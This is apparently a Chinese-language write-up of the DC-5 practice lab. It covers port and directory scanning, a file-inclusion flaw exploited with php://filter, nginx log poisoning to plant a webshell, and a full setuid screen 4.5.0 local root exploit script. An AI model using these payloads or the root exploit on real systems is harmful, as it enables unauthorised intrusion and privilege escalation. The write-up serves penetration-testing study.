DC-5靶场

DC-5靶场

信息收集

  • nmap扫描,IP为192.168.137.173,开放端口80、111、49774

    nmap -T4 -v 192.168.137.0/24
    ......
    ......
    
    # 发现靶机IP为192.168.137.173 继续扫描端口
    nmap -p 1-65535 -T4 -A -v 192.168.137.173
    
    Nmap scan report for 192.168.137.173
    Host is up (0.00099s latency).
    Not shown: 65532 closed tcp ports (reset)
    PORT      STATE SERVICE VERSION
    80/tcp    open  http    nginx 1.6.2
    | http-methods: 
    |_  Supported Methods: GET HEAD POST
    |_http-title: Welcome
    |_http-server-header: nginx/1.6.2
    111/tcp   open  rpcbind 2-4 (RPC #100000)
    | rpcinfo: 
    |   program version    port/proto  service
    |   100000  2,3,4        111/tcp   rpcbind
    |   100000  2,3,4        111/udp   rpcbind
    |   100000  3,4          111/tcp6  rpcbind
    |   100000  3,4          111/udp6  rpcbind
    |   100024  1          49774/tcp   status
    |   100024  1          50334/udp6  status
    |   100024  1          52152/udp   status
    |_  100024  1          55793/tcp6  status
    49774/tcp open  status  1 (RPC #100024)
    MAC Address: 00:0C:29:CF:73:8F (VMware)
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.14
    Uptime guess: 0.000 days (since Tue Feb 25 19:16:35 2025)
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=252 (Good luck!)
    IP ID Sequence Generation: All zeros
  • 通过查资料,111端口这个rpcbind是RPC的守护进程,用于管理RPC服务,而RPC是一个允许程序调用远程应用的服务。49774的status是一个RPC服务,用于提供系统状态信息。总之,现在好像这两个端口还没什么价值,也可能我还不会用。

  • 先访问80端口,发现网页使用nginx搭建,编程语言为php,网页内容看不懂,反正不是英语

    image-20250225192943535
  • 目录扫描

    python .\dirsearch.py -u 192.168.137.173/
    
    _|. _ _  _  _  _ _|_    v0.4.3
    (_||| _) (/_(_|| (_| )
    
    Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12288
    
    Target: http://192.168.137.173/
    
    [20:21:24] Scanning:
    [20:21:30] 200 -    4KB - /contact.php
    [20:21:30] 301 -   184B - /css  ->  http://192.168.137.173/css/
    [20:21:31] 200 -    6KB - /faq.php
    [20:21:32] 200 -    17B - /footer.php
    [20:21:32] 301 -   184B - /images  ->  http://192.168.137.173/images/
    [20:21:32] 403 -   570B - /images/
    [20:21:32] 200 -    4KB - /index.php
    [20:21:38] 200 -   852B - /thankyou.php
    
    Task Completed
  • 无收获。只有contact.php页面可以提交表单,猜测可能存在存储型XSS

    image-20250225202525528

测试

  • 使用XSS测试字典对四个参数都进行测试,但是结果均未成功,可以排除XSS攻击的可能了

    image-20250226203005350

  • 但是yakit工具计算的响应相似度显示略有差异,对比发现不同的请求得到的响应中脚注部分的年份不同

    image-20250226203439632

  • 但是在浏览器中对网站主页无论怎么刷新其脚注的年份都是2019,而上述响应页面为thankyou,php,通过在浏览器刷新该页米艾尼发现脚注部分的年份会发生改变。

  • 根据前面目录扫描得到的footer.php,猜测footer.php文件应该是用于随机输出年份的,而其他页面的脚注部分是写死的,thankyou.php文件中包含了footer.php文件。但是包含这种文件一般也应该是写死的,如require_once('footer.php');,不应该出现通过参数传递要包含的文件的情况,就算是这种情况,参数名也不好猜,本来是不报什么希望的,但也拿?file和?filename测试一下

    image-20250226204533680

  • 直接包含成功,属实有点点匪夷所思的😅。然后好奇这个thankyou.php和footer.php到底是怎么写的,就包含看一下

    # /thankyou.php?file=php://filter/read/convert.base64-encode/resource=thankyou.php
    # 解码结果中关键部分如下
      <footer>
          <?php
              $file = $_GET['file'];
                  if(isset($file))
                  {
                      include("$file");
                  }
                  else
                  {
                      include("footer.php");
                  }
          ?>
      </footer>
    
    # /thankyou.php?file=php://filter/read/convert.base64-encode/resource=footer.php
      <?php
      $rndmYears = array(
          "Copyright © 2017", 
          "Copyright © 2018", 
          "Copyright © 2019", 
          "Copyright © 2020"
      );
      echo $rndmYears[mt_rand(0, count($rndmYears)-1)];
      ?>

getshell

  • 权限不够,无法包含到关键文件。要提权得先getshell

  • 根据前面扫描到网站使用的是nginx搭建的服务器,尝试包含nginx的日志文件,测试成功。然后就可以通过发送一个路径为木马的请求,让nginx把访问路径记录到日志中,再通过工具连接即可。

    image-20250226214123220

提权

  • 开启终端,查找具有SUID权限文件,找到一个不常见的东西

    image-20250226214930562

  • 查看该程序的详细信息,发现该程序的属主是root,网上查询它的用处是可以连接多个本地或远程终端。

    image-20250226215854549

  • 已知该程序的详细版本,再kali中所有版本漏洞

    image-20250226220545305

  • 查看将41154.sh内容,应当再/bin/bash环境运行,但是dc-5环境为/bin/sh,所以需要进行适当改写,然后保存到dc-5机器上,并运行

    #!/bin/sh
    # screenroot.sh
    # setuid screen v4.5.0 local root exploit for /bin/sh
    # abuses ld.so.preload overwriting to get root.
    # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
    # ~ infodox (25/1/2017)
    
    echo "~ gnu/screenroot ~"
    echo "[+] First, we create our shell and library..."
    
    # Create the malicious shared library (libhax.so)
    cat > /tmp/libhax.c << 'EOF'
    #include 
    #include 
    #include 
    __attribute__((constructor))
    void dropshell(void) {
      chown("/tmp/rootshell", 0, 0);
      chmod("/tmp/rootshell", 04755);
      unlink("/etc/ld.so.preload");
      printf("[+] done!\n");
    }
    EOF
    
    # Compile the shared library
    gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
    rm -f /tmp/libhax.c
    
    # Create the malicious executable (rootshell)
    cat > /tmp/rootshell.c << 'EOF'
    #include 
    #include 
    int main(void) {
      setuid(0);
      setgid(0);
      seteuid(0);
      setegid(0);
      execvp("/bin/sh", NULL, NULL);
    }
    EOF
    
    # Compile the executable
    gcc -o /tmp/rootshell /tmp/rootshell.c
    rm -f /tmp/rootshell.c
    
    echo "[+] Now we create our /etc/ld.so.preload file..."
    cd /etc
    umask 000
    screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
    
    echo "[+] Triggering..."
    screen -ls
    /tmp/rootshell
  • 问题在于每次在antsword中进行提权操作时总会遇到奇奇怪怪的问题,所以还是需要将shell反弹到kali中然后再执行

    image-20250226223746028

flag

image-20250226223816832

上一篇
下一篇